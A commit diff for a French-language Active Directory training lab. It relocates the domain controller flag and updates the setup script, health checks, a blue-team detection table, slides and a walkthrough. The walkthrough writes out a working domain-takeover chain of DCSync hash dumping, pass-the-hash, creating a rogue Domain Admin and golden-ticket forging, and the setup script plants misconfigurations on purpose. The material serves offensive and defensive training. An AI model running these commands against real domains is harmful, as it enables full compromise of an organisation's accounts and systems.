lab: move the DC flag to C:\flag and make the last step an admin takeover
The replication right is read-only, so root.txt now sits where only DC administrators can read it (like user.txt on WS01). The backup share stays readable by Sauvegarde-AD with a note, but no flag. The final step is DCSync -> Administrator hash -> pass-the-hash -> create a Domain Admin -> read C:\flag\root.txt; the golden ticket becomes the persistence variant. doctor checks the new path and fails if the flag is still exposed on the share. Walkthrough, student sheet, blue-team table and deck updated.
This commit is contained in:
@@ -126,7 +126,8 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
|
|||||||
"mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount
|
"mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount
|
||||||
"repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count
|
"repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count
|
||||||
"share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null)
|
"share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null)
|
||||||
"root=" + (Test-Path C:\Sauvegarde\root.txt)
|
"root=" + (Test-Path C:\flag\root.txt)
|
||||||
|
"oldflag=" + (Test-Path C:\Sauvegarde\root.txt)
|
||||||
"spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count
|
"spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count
|
||||||
"preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth
|
"preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth
|
||||||
"minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours
|
"minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours
|
||||||
@@ -148,10 +149,12 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
|
|||||||
else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;;
|
else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;;
|
||||||
repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)"
|
repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)"
|
||||||
else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;;
|
else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;;
|
||||||
share) if [[ $value == True ]]; then _d_ok "backup share with the flag"
|
share) if [[ $value == True ]]; then _d_ok "backup share present (Sauvegarde$)"
|
||||||
else _d_fail "Sauvegarde\$ share missing"; fi ;;
|
else _d_fail "Sauvegarde\$ share missing"; fi ;;
|
||||||
root) if [[ $value == True ]]; then _d_ok "root.txt reachable through the backup share"
|
root) if [[ $value == True ]]; then _d_ok "root.txt in C:\flag (administrators only)"
|
||||||
else _d_fail "root.txt missing"; fi ;;
|
else _d_fail "root.txt missing from C:\flag"; fi ;;
|
||||||
|
oldflag) if [[ $value == True ]]; then _d_fail "root.txt still readable on the backup share"
|
||||||
|
else _d_ok "flag not exposed on the backup share"; fi ;;
|
||||||
spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present"
|
spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present"
|
||||||
else _d_fail "svc_backup has no SPN"; fi ;;
|
else _d_fail "svc_backup has no SPN"; fi ;;
|
||||||
preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor"
|
preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor"
|
||||||
|
|||||||
@@ -190,10 +190,11 @@ try {
|
|||||||
Write-LabLog 'dc01: yourlove TXT record already present'
|
Write-LabLog 'dc01: yourlove TXT record already present'
|
||||||
}
|
}
|
||||||
|
|
||||||
# ------------------------------------------------------------ flag
|
# ------------------------------------------------------------ flags
|
||||||
# The server flag sits in the backup staging folder: the agent's group can
|
# root.txt is only readable by DC administrators. The replication right
|
||||||
# read it, so a plain account can prove it reached the DC.
|
# is read-only: reaching this file means turning it into a privileged
|
||||||
$flagDir = 'C:\Sauvegarde'
|
# identity (DCSync -> hash -> pass-the-hash, or a freshly created DA).
|
||||||
|
$flagDir = 'C:\flag'
|
||||||
New-Item -ItemType Directory -Force -Path $flagDir | Out-Null
|
New-Item -ItemType Directory -Force -Path $flagDir | Out-Null
|
||||||
$rootPath = Join-Path $flagDir 'root.txt'
|
$rootPath = Join-Path $flagDir 'root.txt'
|
||||||
if (-not (Test-Path $rootPath)) {
|
if (-not (Test-Path $rootPath)) {
|
||||||
@@ -201,19 +202,49 @@ try {
|
|||||||
}
|
}
|
||||||
$acl = Get-Acl $flagDir
|
$acl = Get-Acl $flagDir
|
||||||
$acl.SetAccessRuleProtection($true, $false)
|
$acl.SetAccessRuleProtection($true, $false)
|
||||||
|
foreach ($rule in @($acl.Access)) {
|
||||||
|
if (-not $rule.IsInherited) { [void]$acl.RemoveAccessRule($rule) }
|
||||||
|
}
|
||||||
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
||||||
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
}
|
}
|
||||||
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
|
||||||
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
|
||||||
Set-Acl -Path $flagDir -AclObject $acl
|
Set-Acl -Path $flagDir -AclObject $acl
|
||||||
|
# Re-inherit, otherwise a file left from an older layout keeps its ACL.
|
||||||
|
$null = icacls.exe $rootPath /reset
|
||||||
|
|
||||||
|
# The backup staging folder stays readable by Sauvegarde-AD (that is how
|
||||||
|
# the service works) but it no longer holds the flag.
|
||||||
|
$shareDir = 'C:\Sauvegarde'
|
||||||
|
New-Item -ItemType Directory -Force -Path $shareDir | Out-Null
|
||||||
|
Remove-Item -Force -ErrorAction SilentlyContinue (Join-Path $shareDir 'root.txt')
|
||||||
|
$note = Join-Path $shareDir 'LISEZ-MOI.txt'
|
||||||
|
if (-not (Test-Path $note)) {
|
||||||
|
Set-Content -Path $note -Encoding ascii -Value @'
|
||||||
|
Depot de sauvegarde
|
||||||
|
Le service lit ses cliches dans ce dossier (groupe Sauvegarde-AD).
|
||||||
|
Les secrets du domaine ne sont pas deposes ici.
|
||||||
|
'@
|
||||||
|
}
|
||||||
|
$shareAcl = Get-Acl $shareDir
|
||||||
|
$shareAcl.SetAccessRuleProtection($true, $false)
|
||||||
|
foreach ($rule in @($shareAcl.Access)) {
|
||||||
|
if (-not $rule.IsInherited) { [void]$shareAcl.RemoveAccessRule($rule) }
|
||||||
|
}
|
||||||
|
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
||||||
|
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
|
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
|
}
|
||||||
|
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
|
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
|
Set-Acl -Path $shareDir -AclObject $shareAcl
|
||||||
|
$null = icacls.exe $note /reset
|
||||||
|
|
||||||
if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) {
|
if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) {
|
||||||
New-SmbShare -Name 'Sauvegarde$' -Path $flagDir `
|
New-SmbShare -Name 'Sauvegarde$' -Path $shareDir `
|
||||||
-ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null
|
-ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null
|
||||||
}
|
}
|
||||||
Write-LabLog 'dc01: root.txt in the backup share'
|
Write-LabLog 'dc01: root.txt in C:\flag (administrators only); backup share kept'
|
||||||
|
|
||||||
# The GenericAll path ends in a password reset; the default one-day
|
# The GenericAll path ends in a password reset; the default one-day
|
||||||
# minimum password age blocks it, and it is a plausible weak setting.
|
# minimum password age blocks it, and it is a plausible weak setting.
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ tableau n'existe pas.
|
|||||||
| Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel |
|
| Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel |
|
||||||
| Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire |
|
| Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire |
|
||||||
| Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure |
|
| Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure |
|
||||||
|
| Création d'un compte Domain Admin | `net user` + `net group` | `4720`, `4728` | un compte apparaît puis entre dans un groupe privilégié, depuis une session administrateur |
|
||||||
| DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) |
|
| DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) |
|
||||||
| Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine |
|
| Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine |
|
||||||
|
|
||||||
|
|||||||
+30
-29
@@ -173,40 +173,41 @@ nécessaire ; si `bloodyad` est présent, `bloodyad get writable` répond à la
|
|||||||
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
|
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
|
||||||
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine.
|
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine.
|
||||||
|
|
||||||
### Preuve finale
|
### Preuve finale — administrateur du DC, puis le drapeau
|
||||||
|
|
||||||
|
`root.txt` n'est pas sur le partage de sauvegarde : il est dans `C:\flag`, lisible seulement par
|
||||||
|
les administrateurs du DC — comme `user.txt` sur WS01. Le droit de réplication est **en lecture
|
||||||
|
seule** ; il faut en tirer une identité privilégiée.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# réplication de l'annuaire depuis un compte qui en a le droit (DCSync)
|
# 1. DCSync : le hash NTLM d'un administrateur
|
||||||
|
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user Administrator
|
||||||
|
|
||||||
|
# 2. pass-the-hash : s'authentifier sans connaître le mot de passe
|
||||||
|
evil-winrm -i 10.10.10.10 -u Administrator -H '<hash NTLM>'
|
||||||
|
|
||||||
|
# 3. se créer un compte Domain Admin
|
||||||
|
net user svc_maint 'P@ssw0rd!2026' /add /domain
|
||||||
|
net group "Domain Admins" svc_maint /add /domain
|
||||||
|
exit
|
||||||
|
|
||||||
|
# 4. se reconnecter avec ce compte et lire le drapeau
|
||||||
|
evil-winrm -i 10.10.10.10 -u svc_maint -p 'P@ssw0rd!2026'
|
||||||
|
type C:\flag\root.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 5. la preuve côté annuaire : les secrets du domaine
|
||||||
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt
|
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bonus — persistance : créer un compte Domain Admin
|
Le hash de `krbtgt` suffit à forger des tickets pour n'importe quel compte : le domaine est
|
||||||
|
compromis. Le drapeau, lui, prouve que vous êtes allé jusqu'au système de fichiers du DC.
|
||||||
|
|
||||||
Le droit de réplication est **en lecture seule** : il permet d'extraire les secrets, pas d'écrire
|
### Bonus — persistance sans compte : le golden ticket
|
||||||
dans l'annuaire. Pour créer un compte, il faut d'abord emprunter l'identité d'un administrateur.
|
|
||||||
|
|
||||||
```bash
|
Avec le hash de `krbtgt`, forger un TGT pour n'importe quel compte, y compris un faux Domain
|
||||||
# 1. récupérer le hash d'un compte administrateur
|
Admin. Rien n'est créé dans l'annuaire, donc rien à nettoyer.
|
||||||
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user Administrator
|
|
||||||
|
|
||||||
# 2. s'authentifier avec ce hash (pass-the-hash) sur le DC
|
|
||||||
evil-winrm -i 10.10.10.10 -u Administrator -H '<hash NTLM>'
|
|
||||||
|
|
||||||
# 3. dans la session : créer le compte et l'ajouter au groupe
|
|
||||||
net user svc_maint 'P@ssw0rd!2026' /add /domain
|
|
||||||
net group "Domain Admins" svc_maint /add /domain
|
|
||||||
```
|
|
||||||
|
|
||||||
Vérification :
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nxc smb 10.10.10.10 -u svc_maint -p 'P@ssw0rd!2026' -d norbourg.lab
|
|
||||||
nxc ldap 10.10.10.10 -u svc_maint -p 'P@ssw0rd!2026' -d norbourg.lab --groups
|
|
||||||
```
|
|
||||||
|
|
||||||
**Variante sans écrire dans l'annuaire :** le hash de `krbtgt` permet de forger un TGT pour
|
|
||||||
n'importe quel compte, y compris un faux Domain Admin (golden ticket). Rien n'est créé, donc rien
|
|
||||||
à nettoyer — et presque rien dans les journaux.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
impacket-ticketer -nthash '<hash krbtgt>' -domain-sid '<SID du domaine>' \
|
impacket-ticketer -nthash '<hash krbtgt>' -domain-sid '<SID du domaine>' \
|
||||||
@@ -215,8 +216,8 @@ export KRB5CCNAME=administrator.ccache
|
|||||||
impacket-psexec -k -no-pass norbourg.lab/[email protected]
|
impacket-psexec -k -no-pass norbourg.lab/[email protected]
|
||||||
```
|
```
|
||||||
|
|
||||||
Ce que la défense voit : **4720** (compte créé) et **4728** (ajout à un groupe global) pour le
|
Ce que la défense voit : **4720** et **4728** pour le compte créé à l'étape 3 ; presque rien pour
|
||||||
compte ; très peu pour le golden ticket. C'est le sujet du volet défensif.
|
le golden ticket. C'est le sujet du volet défensif.
|
||||||
|
|
||||||
> Dans le laboratoire, ces modifications sont permises et disparaissent à la remise à zéro. En
|
> Dans le laboratoire, ces modifications sont permises et disparaissent à la remise à zéro. En
|
||||||
> engagement réel, la persistance se demande **par écrit** avant d'être posée.
|
> engagement réel, la persistance se demande **par écrit** avant d'être posée.
|
||||||
|
|||||||
@@ -505,13 +505,13 @@ def build():
|
|||||||
"inoffensives séparément.")
|
"inoffensives séparément.")
|
||||||
|
|
||||||
# ---------------------------------------------------------------- 17
|
# ---------------------------------------------------------------- 17
|
||||||
s = content_slide(prs, "La preuve finale", "DCSync")
|
s = content_slide(prs, "La preuve finale", "Du droit de réplication au drapeau")
|
||||||
bullets(s, [
|
bullets(s, [
|
||||||
"m.legault est membre de Sauvegarde-AD.",
|
"m.legault est membre de Sauvegarde-AD, qui détient la réplication.",
|
||||||
"Sauvegarde-AD détient Replicating Directory Changes (All).",
|
"secretsdump : le hash NTLM d'un administrateur du domaine.",
|
||||||
"secretsdump -just-dc-user krbtgt : le hash du compte krbtgt.",
|
"Pass-the-hash, puis un compte Domain Admin créé de toutes pièces.",
|
||||||
"m.legault n'est ni Domain Admin ni administratrice du DC.",
|
"C:\\flag\\root.txt : le même drapeau que sur WS01, côté DC.",
|
||||||
"Et pourtant : le domaine est compromis.",
|
"m.legault n'est ni Domain Admin ni administratrice du DC — et pourtant.",
|
||||||
])
|
])
|
||||||
footer(s, len(prs.slides))
|
footer(s, len(prs.slides))
|
||||||
notes(s, "Nuance importante pour le débriefing : on n'a pas « volé » un compte "
|
notes(s, "Nuance importante pour le débriefing : on n'a pas « volé » un compte "
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user